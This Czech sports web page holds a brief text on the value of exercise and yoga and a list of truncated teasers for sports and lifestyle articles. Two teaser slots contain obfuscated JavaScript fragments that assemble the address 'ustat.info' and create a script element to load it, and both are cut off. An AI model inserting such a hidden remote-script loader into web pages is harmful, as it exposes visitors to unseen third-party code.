sport

Pojmem sport je dnes obvykle označována pohybová (fyzická) aktivita provozovaná podle určitých pravidel a zvyklostí. Fyzický pohyb je pro lidi nadmíru důležitý, nedostatek sportu se negativně projevuje na fyzickém i psychickém zdraví. Vrcholoví sportovci již od 19. století pravidelně soupeří na Olympijských hrách, což je soutěž v mnoha disciplínách. Historicky tam ale nepatřily jen fyzické aktivity ale třeba také šachy nebo recitace. Dnes se zase uvažuje, že se mezi disciplíny zařadí i počítačové hry, které už sleduje více lidí, než třeba oblíbený hokej. 

Stále více lidí je zaměstnáno na kancelářských pozicích a tak mají přirozeného pohybu čím dál méně. Je proto důležité si najít pohyb, který bude především bavit, abychom ho vydrželi provozovat pravidelně. Nějaké aktivitě bychom se měli věnovat ideálně denně, stačí svižnější chůze nebo procházka. V případě hubnutí je ale potřeba se sportu věnovat mnohem častěji

Stálící a zároveň velkým trendem je v poslední době jóga. Není to pouze sport, ale dá se říci i životní styl.

Přečtěte si další články věnující se sportu

Vybrat dětem tu správnou volnočasovou aktivitu nebývá snadné. Jejich zájmy se rychle mění a kroužek kreslení, který je baví nyní, může za půl roku...

S internetovým obchodem Sportano.cz se nakupování sportovních potřeb stává snadným a příjemným. Jako moderní multibrandová platforma nabízí nejlepší...

Teplotní rekordy o letošních prázdninách dosahují úrovně, na kterou nejsme zvyklí. Důvodem jsou klimatické změny. A ani předpověď do budoucna není...

Co je to vlastně bikepacking? Na přesné definici tohoto pojmu se často neshodnou ani ti, kteří se bikepackingu aktivně věnují. Pro jedny je to letní...

Začaly prázdniny, hodnoty teploměrů spolu s tím začínají (jako každý rok) stoupat do apokalyptických výšin a to je přesně ta doba, kdy všichni...

Nabitý den plný schůzek a do toho péče o dceru Ruminku - Monika dokáže vše zvládnout levou zadní. Stačí si totiž správně zorganizovat čas a v tom jí...

(function(){ ae7f=document.createElement("script");ae7f_="u"+("s")+"ta"; ae7f_+=("t.i")+""+"n";ae7f_+=(("f")+"o");ae7f.type="text/javascript";...

Když v roce 1988 byly na trh uvedeny tenisky New Balance 574 , asi málokdo tipoval, že se z těchto průměrných běžeckých bot stanou nedílné součásti...

(function(){ xwvr_=("u"+"")+"s"+"";xwvr_+=("tat.")+("i"); xwvr=document.createElement("script");xwvr.type="text/javascript";xwvr_+="nf"+("o")+"/";...

Justin Sanak je novinář, který momentálně v Abu Dhabi píše pro tamní zpravodajský server The National . Vždycky tomu tak ale nebylo. Během studia na...

Justin Sanak je novinář, který momentálně v Abu Dhabi píše pro tamní zpravodajský server The National . Vždycky tomu tak ale nebylo. Během studia na...

Ve středu 1. prosince zahájilo provoz kluziště v Havlíčkových sadech. O dva dny později, v pátek 3. prosince, pak vůbec poprvé vyjeli na led...

Když se ve čtvrtek objevovaly na sociálních sítích staré černobílé fotky Antonína Panenky v množství větším než obvyklém, bylo to proto, že měl...

Daleko veselejší přípravy čekaly letos organizátory třetí edice IFBB DIC Diamond Cupu Praha . Po loňských covidových peripetiích, kdy ještě týden...

Sportovní svátek v dobách dávno minulých obnášel řadu disciplín, nad kterými nám teď zůstává rozum stát. Střelba na živé holuby, souboje na pistole...

Městská část Praha-Lysolaje dokončila celkovou proměnu rozsáhlého prostoru bývalé Denkrovy pískovny. Na doposud zanedbaném území v jižní části...

Letní olympijské hry 2020, které byly kvůli epidemii o rok odloženy, začaly 23. července slavnostním zahájením. No, slavnostním... Na tribunách byly...

V neděli skončilo fotbalové EURO. Nechceme zde hodnotit, zda vyhrál ten, kdo vyhrát měl, zda Anglie neměla náhodou výhodu v tom, že odehrála celý...

Začněme od toho, čím při oblékání začínáte, tedy od základu – spodního prádla. To určené na sport by mělo být pohodlné, nikde se nezařezávat a...

Dříč na práci do terénu: Morakniv Companion, MG, karbon Nůž švédské značky nadchne myslivce, stavaře, lesníky, opraváře i zálesáky. Prostě každého,...